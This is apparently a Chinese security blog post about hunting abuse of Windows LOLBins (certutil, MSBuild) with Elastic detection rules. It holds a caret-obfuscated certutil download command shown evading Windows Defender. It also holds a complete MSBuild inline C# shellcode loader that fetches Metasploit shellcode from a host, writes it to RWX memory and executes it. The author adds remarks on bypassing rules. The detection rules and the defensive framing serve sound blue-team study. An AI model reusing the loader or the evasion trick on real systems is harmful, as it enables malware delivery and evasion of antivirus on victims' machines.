抽空写完了,完善测试一下发了出来。中秋节将近,祝愿师傅们健康快乐。

Living Off The Land Binaries

Living Off The Land Binaries (LOLBins) 是指操作系统中自带的合法工具、可执行文件或二进制文件,这些文件本来是为系统管理或维护设计的,但攻击者却利用它们来执行恶意活动。因为这些工具本身是合法的,且在系统中广泛使用,所以很难被安全软件检测为恶意行为。

针对这部分做威胁狩猎是一个不错的开始,不仅涵盖了各个阶段,而且从技术层面上比较容易落地(非常好写规则,不像高级的攻击技术,日志源都没有,直接寄了),目前公开LOLBAS覆盖的TTPS如下:

安全设备与日志检测

这里为了方便起见就不拉其他杀毒,用的自带的杀软,仅作为演示。

Certutil.exe 实践

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。命令执行漏洞利用场景频繁使用Certutil.exe下载后门

下载测试

直接下载Windows的杀毒会报警,拦截掉了命令:

根据Windows的CMD特性,混淆一下命令就绕过了杀毒基于命令行的检测:

cert^u^t^il -url""""cache -sp""""lit -f   https://www.baidu.com

Elastic Rule 检测分析

这个ES官方的规则,限制死了certutil的出站访问,意味着无法从技术层面上绕过这个日志规则的检测

[metadata]
creation_date = "2020/03/19"
maturity = "production"
updated_date = "2021/05/26"

[rule]
author = ["Elastic"]
description = """
Identifies certutil.exe making a network connection. Adversaries could abuse certutil.exe to download a certificate, or
malware, from a remote URL.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"]
language = "eql"
license = "Elastic License v2"
name = "Network Connection via Certutil"
references = ["https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml"]
risk_score = 21
rule_id = "3838e0e3-1850-4850-a411-2e8c5ba40ba8"
severity = "low"
tags = ["Elastic", "Host", "Windows", "Threat Detection", "Command and Control"]
type = "eql"

query = '''
sequence by process.entity_id
  [process where process.name : "certutil.exe" and event.type == "start"]
  [network where process.name : "certutil.exe" and
    not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24",
                                  "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32",
                                  "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24",
                                  "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24",
                                  "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1",
                                  "FE80::/10", "FF00::/8")]
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"


[rule.threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

Msbuild.exe 实践

这个是之前写的C#工程,用于在受限的环境执行代码,在某些限制二进制执行的场景(类似Apploacker)非常频繁使用,代码逻辑比较简单就不分析了:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="MSBuild">
    <MSBuildTest/>
  </Target>
  <UsingTask
    TaskName="MSBuildTest"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[

            using System;
            using System.Net;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;

            public class MSBuildTest : Task, ITask
            {
                public override bool Execute()
                {
                    byte[] shellcode;
                    using (var client = new WebClient())
                    {
                        client.BaseAddress = "http://192.168.43.170";
                        shellcode = client.DownloadData("msf.txt.sgn");
                    }

                    var hNtdll = LoadLibrary("ntdll.dll");

                    // 
                    var syscallAllocate = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
                    var syscallCreateThread = GetProcAddress(hNtdll, "NtCreateThreadEx");

                    //
                    var va = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(syscallAllocate, typeof(NtAllocateVirtualMemory));
                    var ct = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(syscallCreateThread, typeof(NtCreateThreadEx));

                    IntPtr hMemory = IntPtr.Zero;
                    IntPtr baseAddress = IntPtr.Zero;
                    uint size = (uint)shellcode.Length;
                    uint allocationType = 0x3000;  // MEM_COMMIT | MEM_RESERVE
                    uint protect = 0x40;  // PAGE_EXECUTE_READWRITE RWX

                    // 
                    va(GetCurrentProcess(), ref baseAddress, IntPtr.Zero, ref size, allocationType, protect);
                    hMemory = baseAddress;

                    Marshal.Copy(shellcode, 0, hMemory, shellcode.Length);

                    IntPtr hThread = IntPtr.Zero;
                    // 
                    ct(out hThread, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), hMemory, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);

                    WaitForSingleObject(hThread, 0xFFFFFFFF);

                    return true;
                }

                [DllImport("kernel32", CharSet = CharSet.Ansi)]
                private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

                [DllImport("kernel32", CharSet = CharSet.Ansi)]
                private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

                [DllImport("kernel32")]
                private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

                [DllImport("kernel32")]
                private static extern IntPtr GetCurrentProcess();

                // NtAllocateVirtualMemory syscall delegate
                [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                private delegate uint NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr lpAddress, IntPtr ZeroBits, ref uint dwSize, uint flAllocationType, uint flProtect);

                // NtCreateThreadEx syscall delegate
                [UnmanagedFunctionPointer(CallingConvention.StdCall)]
                private delegate uint NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer);
            }

        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

内存权限

需要补充分析的一点是,用了自解密的shellcode需要RWX权限,虽然很多文章都说这个权限很可疑,但是实际不完全正确,尤其是在JAVA、.NET这类动态编译的环境下,这类白签名的软件为了高速运行、动态编译执行代码都是需要RWX权限的

如下IEDA的进程权限,存在很大一块都是RWX权限的内存区域,有好几兆的RWX足够我们写进任何C2的shellcode了:

VS 2022也是一堆RWX权限:

还有一些奇怪的进程也会分配RWX权限:

这是.NET的表现,和我预测的一致,频繁使用RWX权限,对付杀毒倒是无关紧要了:

大块的内存权限,就简单分析到这里,我们拉的那个进程也是RWX就不算太可疑:

补一张我喜欢9nine Galgame! 最近焦虑的饭都吃不下了,看到二次元美少女又能多吃两口了,超能力+轮回系+后宫剧情,预定剧情神作:

上线测试

Windows 杀毒对这个xml不感兴趣,静态和上线都没问题:

直接执行:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe test.xml

Elastic Rule 检测分析:

在 Elasticsearch 中,要搜寻类似的恶意活动可以检测特定的文件名,下面是ES的规则编写出的效果,不错,它狩猎了MSBuild.exe生成的非本地的网络连接,足够检测到我们上面写的shellcode加载器了,不过有经验的师傅一眼就知道怎么绕过这个规则了

[metadata]
creation_date = "2020/09/02"
maturity = "development"
updated_date = "2021/09/23"

[rule]
author = ["Elastic"]
description = """
Identifies MsBuild.exe making outbound network connections. This may indicate adversarial activity as MsBuild is often
leveraged by adversaries to execute code and evade detection.
"""
from = "now-9m"
index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"]
language = "eql"
license = "Elastic License v2"
name = "MsBuild Network Connection Sequence"
risk_score = 21
rule_id = "9dc6ed5d-62a9-4feb-a903-fafa1d33b8e9"
severity = "medium"
tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion"]
type = "eql"

query = '''
/* duplicate of MsBuild Making Network Connections - 0e79980b-4250-4a50-a509-69294c14e84b */

sequence by process.entity_id
  [process where event.type in ("start", "process_started") and process.name : "MSBuild.exe"]
  [network where process.name : "MSBuild.exe" and
     not (destination.ip == "127.0.0.1" and source.ip == "127.0.0.1")]
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1127"
name = "Trusted Developer Utilities Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1127/"

  [[rule.threat.technique.subtechnique]]
  id = "T1127.001"
  name = "MSBuild"
  reference = "https://attack.mitre.org/techniques/T1127/001/"


[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

要优化也很简单,直接锁死这个进程启动就行了,MSBuild.exe除了职业Windows开发一般很在系统上很罕见,具体运营起来还得看不同企业的情况。

总结

未知攻,焉知防?如果企业不懂攻击、自然就不懂防御;设下的防御到底多大的效果,是只需要几分钟就能绕过?还是需要数周、甚至数月?攻击本身是成本的对抗,如果绕过成本非常高昂,我们就可以近似看作”安全“,和红队猫捉老鼠本身不是好的选择,红队有红队的优势,蓝队也有蓝队的优势,如何发挥蓝队的优势?优势随时能变为劣势,即使攻击者使用了0day,0day依然受限于它本身,攻击的一个多步的过程,不是什么漏洞都可以瞬间直接溢出上线了,这样看来大部分0day也没什么可怕的了,Living Off The Land Binaries是一个不错的接入点供给后续研究和思考。

参考资料:

https://xz.aliyun.com/t/12503
https://lolbas-project.github.io/
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_msbuild_beacon_sequence.toml

7月新番已经接近结束,人气第一依然是白毛傲娇,时代果然还没变;期待10月!